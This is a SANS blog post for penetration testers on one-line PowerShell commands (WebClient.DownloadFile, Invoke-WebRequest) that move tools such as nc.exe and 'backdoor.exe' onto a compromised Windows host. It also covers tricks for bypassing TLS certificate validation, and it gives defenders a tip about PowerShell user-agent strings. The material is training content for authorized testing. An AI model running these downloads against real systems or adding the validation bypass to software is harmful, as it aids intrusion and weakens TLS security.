homepage
Open menu
Go one level top
  • Train and Certify
    Train and Certify

    Immediately apply the skills and techniques learned in SANS courses, ranges, and summits

    • Overview
    • Courses
      • Overview
      • Full Course List
      • By Focus Areas
        • Cloud Security
        • Cyber Defense
        • Cybersecurity and IT Essentials
        • DFIR
        • Industrial Control Systems
        • Offensive Operations
        • Management, Legal, and Audit
      • By Skill Levels
        • New to Cyber
        • Essentials
        • Advanced
        • Expert
      • Training Formats
        • OnDemand
        • In-Person
        • Live Online
      • Course Demos
    • Training Roadmaps
      • Skills Roadmap
      • Focus Area Job Roles
        • Cyber Defence Job Roles
        • Offensive Operations Job Roles
        • DFIR Job Roles
        • Cloud Job Roles
        • ICS Job Roles
        • Leadership Job Roles
      • NICE Framework
        • Security Provisionals
        • Operate and Maintain
        • Oversee and Govern
        • Protect and Defend
        • Analyze
        • Collect and Operate
        • Investigate
        • Industrial Control Systems
    • GIAC Certifications
    • Training Events & Summits
      • Events Overview
      • Event Locations
        • Asia
        • Australia & New Zealand
        • Latin America
        • Mainland Europe
        • Middle East & Africa
        • Scandinavia
        • United Kingdom & Ireland
        • United States & Canada
      • Summits
    • OnDemand
    • Get Started in Cyber
      • Overview
      • Degree and Certificate Programs
      • Scholarships
    • Cyber Ranges
  • Manage Your Team
    Manage Your Team

    Build a world-class cyber team with our workforce development programs

    • Overview
    • Why Work with SANS
    • Group Purchasing
    • Build Your Team
      • Team Development
      • Assessments
      • Private Training
      • Hire Cyber Professionals
      • By Industry
        • Health Care
        • Industrial Control Systems Security
        • Military
    • Leadership Training
  • Security Awareness
    Security Awareness

    Increase your staff’s cyber awareness, help them change their behaviors, and reduce your organizational risk

    • Overview
    • Products & Services
      • Security Awareness Training
        • EndUser Training
        • Phishing Platform
      • Specialized
        • Developer Training
        • ICS Engineer Training
        • NERC CIP Training
        • IT Administrator
      • Risk Assessments
        • Knowledge Assessment
        • Culture Assessment
        • Behavioral Risk Assessment
    • OUCH! Newsletter
    • Career Development
      • Overview
      • Training & Courses
      • Professional Credential
    • Blog
    • Partners
    • Reports & Case Studies
  • Resources
    Resources

    Enhance your skills with access to thousands of free resources, 150+ instructor-developed tools, and the latest cybersecurity news and analysis

    • Overview
    • Webcasts
    • Free Cybersecurity Events
      • Free Events Overview
      • Summits
      • Solutions Forums
      • Community Nights
    • Content
      • Newsletters
        • NewsBites
        • @RISK
        • OUCH! Newsletter
      • Blog
      • Podcasts
      • Summit Presentations
      • Posters & Cheat Sheets
    • Research
      • White Papers
      • Security Policies
    • Tools
    • Focus Areas
      • Cyber Defense
      • Cloud Security
      • Digital Forensics & Incident Response
      • Industrial Control Systems
      • Cyber Security Leadership
      • Offensive Operations
  • Get Involved
    Get Involved

    Help keep the cyber community one step ahead of threats. Join the SANS community or begin your journey of becoming a SANS Certified Instructor today.

    • Overview
    • Join the Community
    • Work Study
    • Teach for SANS
    • CISO Network
    • Partnerships
    • Sponsorship Opportunities
  • About
    About

    Learn more about how SANS empowers and educates current and future cybersecurity practitioners with knowledge and skills

    • SANS
      • Overview
      • Our Founder
      • Awards
    • Instructors
      • Our Instructors
      • Full Instructor List
    • Mission
      • Our Mission
      • Diversity
      • Scholarships
    • Contact
      • Contact Customer Service
      • Contact Sales
      • Press & Media Enquiries
    • Frequent Asked Questions
    • Customer Reviews
    • Press
    • Careers
  • Contact Sales
  • SANS Sites
    • GIAC Security Certifications
    • Internet Storm Center
    • SANS Technology Institute
    • Security Awareness Training
  • Search
  • Log In
  • Join
    • Account Dashboard
    • Log Out
  1. Home >
  2. Blog >
  3. Pen Test Poster: "White Board" - PowerShell - One-Line Web Client
370x370_Matthew-Toussain.jpg
Matthew Toussain

Pen Test Poster: "White Board" - PowerShell - One-Line Web Client

March 8, 2017

Board-Elements_clean_One-Line-Web-Client

Introduction

Mobility is a critical component of the attack. The ability to be adaptable, while transporting your tactics and tools into a remote environment, is a key differentiator between inexperienced and senior operators. The criticality is an aftereffect of frequency, one of the most common tasks in pentesting involves that rather simple, but ubiquitous, problem: Moving files from a machine you own to another that you? sort of own. It's a work in progress. To that effect having a game plan for transporting your tools into any environment no matter the configuration or security controls, will allow you to focus your efforts on the harder nuts to crack while leaving the skiddies to eat your dust!

oneline_webclient_01

File transfer frustrations in contested environments happen to all of us. The first time I forgot to turn on binary transfer mode in FTP, I could not figure out why the executable I transferred refused to run. The result? I spun my wheels endlessly on a simple problem (If binary transfer mode is not set - the file becomes corrupted).

Proficiency with various file transfer methods is one of the most useful skills to keep in a pentester's back pocket. This proves even more true during Red Team operations where any number of data transfer methods could be the key to maintaining persistent access, evading an active blue team, or even getting domain admin. On a recent engagement, we gained GUI access to a remote target by tunneling a remote desktop session, but struggled to get our toolkit onto the environment uncorrupted. We solved the problem by *drum roll please* ...downloading it with Internet Explorer. It worked... Okay then! While this cringe-worthy instance of GUI-driver paradise did in fact save the day, this post discusses a more efficient and powerful option: PowerShell.

oneline_webclient_2

At long last Windows users can wget! (Almost? technically it's Invoke-WebRequest aliased with the name wget, but close enough.)

Methods Covered in this Section

Win 7 PS WebClient:

(New-Object System.Net.WebClient).DownloadFile("http://10.0.0.10/nc.exe","nc.exe")

Win 8 and later PS Invoke-WebRequest (wget):

wget "http://10.0.0.10/nc.exe" -outfile "nc.exe"

Display PowerShell Version:

Get-Host
$PSVersionTable.PSVersion

ServicePointManager $true:

[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}

Disable-NetSSLValidation

Invoke-SelfSignedWebRequest (External Project):

Invoke-SelfSignedWebRequest https://www.my.af.mil/ "-outfile index.htm"
wget-ss https://spectruminfosec.com/index.php

Moving files onto a Windows environment was traditionally a more difficult task to accomplish due to its lack of straightforward file transfer tools. No netcat, wget, curl, ssh, or python. But with PowerShell, all of that capability is readily available at our fingertips. Yes, even wget.

An important distinction to be aware of are the differing versions of PowerShell active in the wild today. With older languages like perl, bash, and even python, much of the code-base has remained fairly consistent year-to-year. While PowerShell has undergone a macroevolution with each iteration of the Windows operating system since its inception. More on that later.

For now we'll start with the webclient that works on all versions of PowerShell.

PowerShell Webclient

(New-Object System.Net.WebClient).DownloadFile("http://10.0.0.10/nc.exe","nc.exe")
oneline_webclient_03

Because the above command is available on every version of Powershell, it is the preferable option for cross platform scripting engagements where there is uncertainty as to the Powershell version.

Command Breakdown

(New-Object System.Net.WebClient).DownloadFile("http://10.0.0.10/nc.exe","nc.exe")
1. (New-Object System.Net.WebClient) - Creates an instance of the WebClient class. 
The WebClient object has all the capabilities required to act like a GUI web client.
2. DownloadFile(" - Call the DownloadFile method in the WebClient class.
This method allows WebClient to download something from a remote server
3. http://10.0.0.10 - Download the file via the HTTP protocol from IP address 10.0.0.10
4. /nc.exe" - Download the file nc.exe
5. ,"nc.exe") - This is the destination file


PowerShell Invoke-WebRequest

wget "http://10.0.0.10/nc.exe" -outfile "nc.exe"

On newer versions of PowerShell, the Invoke-WebRequest cmdlet is at our disposal. Furthermore, it is aliased to and supports command syntax similar to the wget program found on many Unix systems.

Command Breakdown

wget "http://10.0.0.10/backdoor.exe" -outfile "backdoor.exe"
1. wget - Short for web get. Wget is a tool for downloading files via HTTP, HTTPS, and FTP.
2. "10.0.0.10 - Download the file via the HTTP protocol from IP address 10.0.0.10
3. /nc.exe" - Download the file backdoor.exe
4. -outfile "backdoor.exe" - The output file name for the downloaded file.

The Invoke-WebRequest cmdlet was introduced in Windows PowerShell starting with version 3.0. To determine what version is running on your environment run the Get-Host or $PSVersionTable.PSVersion commands. Referencing the PowerShell version table is more accurate than results returned by Get-Host, but either is generally sufficient.

Display PowerShell Version

Get-Host

or

$PSVersionTable.PSVersion

Windows 7 - PS 2.0

oneline_webclient_01

Windows 10 - PS 5.1

oneline_webclient_06

Beginning in October of 2009 with Windows 7 and Windows Server 2008 R2, PowerShell was distributed and installed as part of the default operating system build. Unfortunately, Windows 7 was released with PowerShell version 2.0 while many robust PowerShell cmdlets like Invoke-WebRequest (wget) did not find their way into the PowerShell ecosystem until version 3.0. In 2012 with the release of Windows 8 and Server 2012, PowerShell 3.0 became part of the standard operating system build. As of this writing, modern Windows 10 is distributed with PowerShell version 5.0 by default.

For the purposes of most penetration testing with PowerShell, the important distinction is between versions 2.0 and 3.0+. Many command line techniques in version 2.0 require direct instantiation of .NET constructors by way of the New-Object cmdlet as seen in the Windows 7 variant of the WebClient. In PowerShell 3.0+, many of these functions have been created and integrated as standalone cmdlets that are much more straightforward to use.

Conclusion

Web traffic is prolific on almost all networked environments. Downloading files over HTTP provides a great way to move traffic without being noticed. Looking for strange HTTP traffic is like hunting for the proverbial needle in the haystack. That said, consider the following: A phenomenal tactic for defenders looking for out-of-place HTTP traffic is to examine the user-agent string.

oneline_webclient


While the traffic itself doesn't stand out (aside from the not-so-subtle filename), the user-agent string "WindowsPowerShell/5.1?" is a definite eye-opener unless users frequently download files with Windows PowerShell.

Sometimes defenders can snag an easy win by filtering traffic on these strings and sifting out the things that don't match. Shout out to Seth Misenar and Chris Crowley who regularly teach tactics like these to members of the DoD (including this author) through the SANS RaD-X (Rapid Experience Builder) Course. If you are one of my DoD brethren, I can't recommend RaD-X enough.

Bonus: PowerShell over HTTPS

Having taken a dive into traffic inspection on the blue team side, how can red elevate their technique to evade? One idea that may come to mind is encryption. SSL/TLS is a typical part of modern web traffic. Unfortunately, when using the above techniques against a self-signed or invalid certificate, we don't get the most positive results:

oneline_webclient_

*ERROR*

WebClient.DownloadFile():

Exception calling "DownloadFile" with "2" argument(s): "The underlying connection was closed: Could not establish trust relationship for the SSL/TLS secure channel."

Invoke-WebRequest:

The underlying connection was closed: Could not establish trust relationship for the SSL/TLS secure channel.

PowerShell automatically "protects" you against CERT_AUTHORITY_INVALID errors. As a pentester this can be problematic because we might frequently be setting up and operating from domains/redirectors that do not have an officially signed certificate. Bypassing this restriction can be hit or miss depending on the environment you find yourself in, but some combination of the following tricks generally works out.

For the webclient variant this bypass is typically quite trivial:

ServicePointManager $true:

[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}

This technique disables SSL certificate validation through the System.Net.ServicePointManager endpoint by manually configuring the ServerCertificateValidationCallback to return $true, and allows us to connect to domains with self-signed certificates using WebClient.DownloadFile().

Unfortunately, the ServerCertificateValidationCallback will not work for asynchronous callbacks. Callbacks like Invoke-WebRequest and Invoke-RestMethod operate on their own task threads in order to provide other threads appropriate runspace for simultaneous execution. As a result, upon configuring ServerCertificateValidationCallback we end up with a different, new error:

The underlying connection was closed: An unexpected error occurred on a send.

Getting around this is a bit more difficult. Two general options exist:

1. Install the certificate manually
2. Disable certificate validation in the underlying .NET

As security professionals option #2 is an obvious choice!

Disable-NetSSLValidation

Disable-NetSSLValidation

Download Code: Disable-NetSSLValidation.PDF

The above code snippet configures internal .NET settings to disable SSL certificate validation via useUnsafeHeaderParsing. Unfortunately, while this does work in some cases it is generally pretty ineffective. Drat!

Given that we have now been forced to take on the more security-minded approach, consider the following cmdlet:

Invoke-SelfSignedWebRequest

Invoke-SelfSignedWebRequest

Download Code: Invoke-SelfSignedWebRequest.PDF

The Invoke-SelfSignedWebRequest cmdlet is a wrapper for Invoke-WebRequest that connects to a target host downloads the X.509 Certificate and loads it into the current user's certificate store.

oneline_webclient

It then passes the web request through to Invoke-WebRequest, removes the certificate from the store and resets ServerCertificateValidationCallback in order to leave a clean state. It's nice when the work around does the work for you right!?!

All code for these invalid SSL certificate bypass techniques and functions can be found on github as part of the SelfSignedWebRequest Repository: https://github.com/0sm0s1z/Invoke-SelfSignedWebRequest

You may also find the Disable-SSLValidation cmdlet useful. It disables SSL certificate validation by using reflection to implement the System.Net.ICertificatePolicy class. This cmdlet is quite old however and your mileage may vary.

oneline_webclient

Happy Hunting!

Matthew Toussain
https://twitter.com/0sm0s1z


Share:
TwitterLinkedInFacebook
Copy url Url was copied to clipboard
Subscribe to SANS Newsletters
Receive curated news, vulnerabilities, & security awareness tips
United States
Canada
United Kingdom
Spain
Belgium
Denmark
Norway
Netherlands
Australia
India
Japan
Singapore
Afghanistan
Aland Islands
Albania
Algeria
American Samoa
Andorra
Angola
Anguilla
Antarctica
Antigua and Barbuda
Argentina
Armenia
Aruba
Austria
Azerbaijan
Bahamas
Bahrain
Bangladesh
Barbados
Belarus
Belize
Benin
Bermuda
Bhutan
Bolivia
Bonaire, Sint Eustatius, and Saba
Bosnia And Herzegovina
Botswana
Bouvet Island
Brazil
British Indian Ocean Territory
Brunei Darussalam
Bulgaria
Burkina Faso
Burundi
Cambodia
Cameroon
Cape Verde
Cayman Islands
Central African Republic
Chad
Chile
China
Christmas Island
Cocos (Keeling) Islands
Colombia
Comoros
Cook Islands
Costa Rica
Croatia (Local Name: Hrvatska)
Curacao
Cyprus
Czech Republic
Democratic Republic of the Congo
Djibouti
Dominica
Dominican Republic
East Timor
East Timor
Ecuador
Egypt
El Salvador
Equatorial Guinea
Eritrea
Estonia
Ethiopia
Falkland Islands (Malvinas)
Faroe Islands
Fiji
Finland
France
French Guiana
French Polynesia
French Southern Territories
Gabon
Gambia
Georgia
Germany
Ghana
Gibraltar
Greece
Greenland
Grenada
Guadeloupe
Guam
Guatemala
Guernsey
Guinea
Guinea-Bissau
Guyana
Haiti
Heard And McDonald Islands
Honduras
Hong Kong
Hungary
Iceland
Indonesia
Iraq
Ireland
Isle of Man
Israel
Italy
Jamaica
Jersey
Jordan
Kazakhstan
Kenya
Kiribati
Korea, Republic Of
Kosovo
Kuwait
Kyrgyzstan
Lao People's Democratic Republic
Latvia
Lebanon
Lesotho
Liberia
Liechtenstein
Lithuania
Luxembourg
Macau
Macedonia
Madagascar
Malawi
Malaysia
Maldives
Mali
Malta
Marshall Islands
Martinique
Mauritania
Mauritius
Mayotte
Mexico
Micronesia, Federated States Of
Moldova, Republic Of
Monaco
Mongolia
Montenegro
Montserrat
Morocco
Mozambique
Myanmar
Namibia
Nauru
Nepal
Netherlands Antilles
New Caledonia
New Zealand
Nicaragua
Niger
Nigeria
Niue
Norfolk Island
Northern Mariana Islands
Oman
Pakistan
Palau
Palestine
Panama
Papua New Guinea
Paraguay
Peru
Philippines
Pitcairn
Poland
Portugal
Puerto Rico
Qatar
Reunion
Romania
Russian Federation
Rwanda
Saint Bartholemy
Saint Kitts And Nevis
Saint Lucia
Saint Martin
Saint Vincent And The Grenadines
Samoa
San Marino
Sao Tome And Principe
Saudi Arabia
Senegal
Serbia
Seychelles
Sierra Leone
Sint Maarten
Slovakia
Slovenia
Solomon Islands
South Africa
South Georgia and the South Sandwich Islands
South Sudan
Sri Lanka
St. Helena
St. Pierre And Miquelon
Suriname
Svalbard And Jan Mayen Islands
Swaziland
Sweden
Switzerland
Taiwan
Tajikistan
Tanzania
Thailand
Togo
Tokelau
Tonga
Trinidad And Tobago
Tunisia
Turkey
Turkmenistan
Turks And Caicos Islands
Tuvalu
Uganda
Ukraine
United Arab Emirates
United States Minor Outlying Islands
Uruguay
Uzbekistan
Vanuatu
Vatican City
Venezuela
Vietnam
Virgin Islands (British)
Virgin Islands (U.S.)
Wallis And Futuna Islands
Western Sahara
Yemen
Yugoslavia
Zambia
Zimbabwe

By providing this information, you agree to the processing of your personal data by SANS as described in our Privacy Policy.

This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply.

Tags:
  • Penetration Testing and Red Teaming

Related Content

Blog
Penetration Testing and Red Teaming, Cybersecurity and IT Essentials
January 4, 2023
Cloud Scanning for Vulnerability Discovery
In this article we'll look at the step-by-step process of scanning a cloud provider's network for target enumeration.
370x370_Joshua-Wright.jpg
Joshua Wright
read more
Blog
Untitled_design-43.png
Digital Forensics and Incident Response, Cybersecurity and IT Essentials, Industrial Control Systems Security, Purple Team, Open-Source Intelligence (OSINT), Penetration Testing and Red Teaming, Cyber Defense, Cloud Security, Security Management, Legal, and Audit
December 8, 2021
Good News: SANS Virtual Summits Will Remain FREE for the Community in 2022
They’re virtual. They’re global. They’re free.
370x370-person-placeholder.png
Emily Blades
read more
Blog
Penetration Testing and Red Teaming
January 17, 2018
SANS Poster - White Board of Awesome Command Line Kung Fu (PDF Download)
Imagine you are sitting at your desk and come across a great command line tip that will assist you in your career as an information security professional, so you jot the tip down on a note, post-it, or scrap sheet of paper and tape it to your white board... now imagine you do this all the time...
SANS Pen Test
read more
  • Register to Learn
  • Courses
  • Certifications
  • Degree Programs
  • Cyber Ranges
  • Job Tools
  • Security Policy Project
  • Posters & Cheat Sheets
  • White Papers
  • Focus Areas
  • Cyber Defense
  • Cloud Security
  • Cybersecurity Leadership
  • Digital Forensics
  • Industrial Control Systems
  • Offensive Operations
Subscribe to SANS Newsletters
Receive curated news, vulnerabilities, & security awareness tips
United States
Canada
United Kingdom
Spain
Belgium
Denmark
Norway
Netherlands
Australia
India
Japan
Singapore
Afghanistan
Aland Islands
Albania
Algeria
American Samoa
Andorra
Angola
Anguilla
Antarctica
Antigua and Barbuda
Argentina
Armenia
Aruba
Austria
Azerbaijan
Bahamas
Bahrain
Bangladesh
Barbados
Belarus
Belize
Benin
Bermuda
Bhutan
Bolivia
Bonaire, Sint Eustatius, and Saba
Bosnia And Herzegovina
Botswana
Bouvet Island
Brazil
British Indian Ocean Territory
Brunei Darussalam
Bulgaria
Burkina Faso
Burundi
Cambodia
Cameroon
Cape Verde
Cayman Islands
Central African Republic
Chad
Chile
China
Christmas Island
Cocos (Keeling) Islands
Colombia
Comoros
Cook Islands
Costa Rica
Croatia (Local Name: Hrvatska)
Curacao
Cyprus
Czech Republic
Democratic Republic of the Congo
Djibouti
Dominica
Dominican Republic
East Timor
East Timor
Ecuador
Egypt
El Salvador
Equatorial Guinea
Eritrea
Estonia
Ethiopia
Falkland Islands (Malvinas)
Faroe Islands
Fiji
Finland
France
French Guiana
French Polynesia
French Southern Territories
Gabon
Gambia
Georgia
Germany
Ghana
Gibraltar
Greece
Greenland
Grenada
Guadeloupe
Guam
Guatemala
Guernsey
Guinea
Guinea-Bissau
Guyana
Haiti
Heard And McDonald Islands
Honduras
Hong Kong
Hungary
Iceland
Indonesia
Iraq
Ireland
Isle of Man
Israel
Italy
Jamaica
Jersey
Jordan
Kazakhstan
Kenya
Kiribati
Korea, Republic Of
Kosovo
Kuwait
Kyrgyzstan
Lao People's Democratic Republic
Latvia
Lebanon
Lesotho
Liberia
Liechtenstein
Lithuania
Luxembourg
Macau
Macedonia
Madagascar
Malawi
Malaysia
Maldives
Mali
Malta
Marshall Islands
Martinique
Mauritania
Mauritius
Mayotte
Mexico
Micronesia, Federated States Of
Moldova, Republic Of
Monaco
Mongolia
Montenegro
Montserrat
Morocco
Mozambique
Myanmar
Namibia
Nauru
Nepal
Netherlands Antilles
New Caledonia
New Zealand
Nicaragua
Niger
Nigeria
Niue
Norfolk Island
Northern Mariana Islands
Oman
Pakistan
Palau
Palestine
Panama
Papua New Guinea
Paraguay
Peru
Philippines
Pitcairn
Poland
Portugal
Puerto Rico
Qatar
Reunion
Romania
Russian Federation
Rwanda
Saint Bartholemy
Saint Kitts And Nevis
Saint Lucia
Saint Martin
Saint Vincent And The Grenadines
Samoa
San Marino
Sao Tome And Principe
Saudi Arabia
Senegal
Serbia
Seychelles
Sierra Leone
Sint Maarten
Slovakia
Slovenia
Solomon Islands
South Africa
South Georgia and the South Sandwich Islands
South Sudan
Sri Lanka
St. Helena
St. Pierre And Miquelon
Suriname
Svalbard And Jan Mayen Islands
Swaziland
Sweden
Switzerland
Taiwan
Tajikistan
Tanzania
Thailand
Togo
Tokelau
Tonga
Trinidad And Tobago
Tunisia
Turkey
Turkmenistan
Turks And Caicos Islands
Tuvalu
Uganda
Ukraine
United Arab Emirates
United States Minor Outlying Islands
Uruguay
Uzbekistan
Vanuatu
Vatican City
Venezuela
Vietnam
Virgin Islands (British)
Virgin Islands (U.S.)
Wallis And Futuna Islands
Western Sahara
Yemen
Yugoslavia
Zambia
Zimbabwe

By providing this information, you agree to the processing of your personal data by SANS as described in our Privacy Policy.

This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply.
  • © 2023 SANS™ Institute
  • Privacy Policy
  • Contact
  • Careers
  • Twitter
  • Facebook
  • Youtube
  • LinkedIn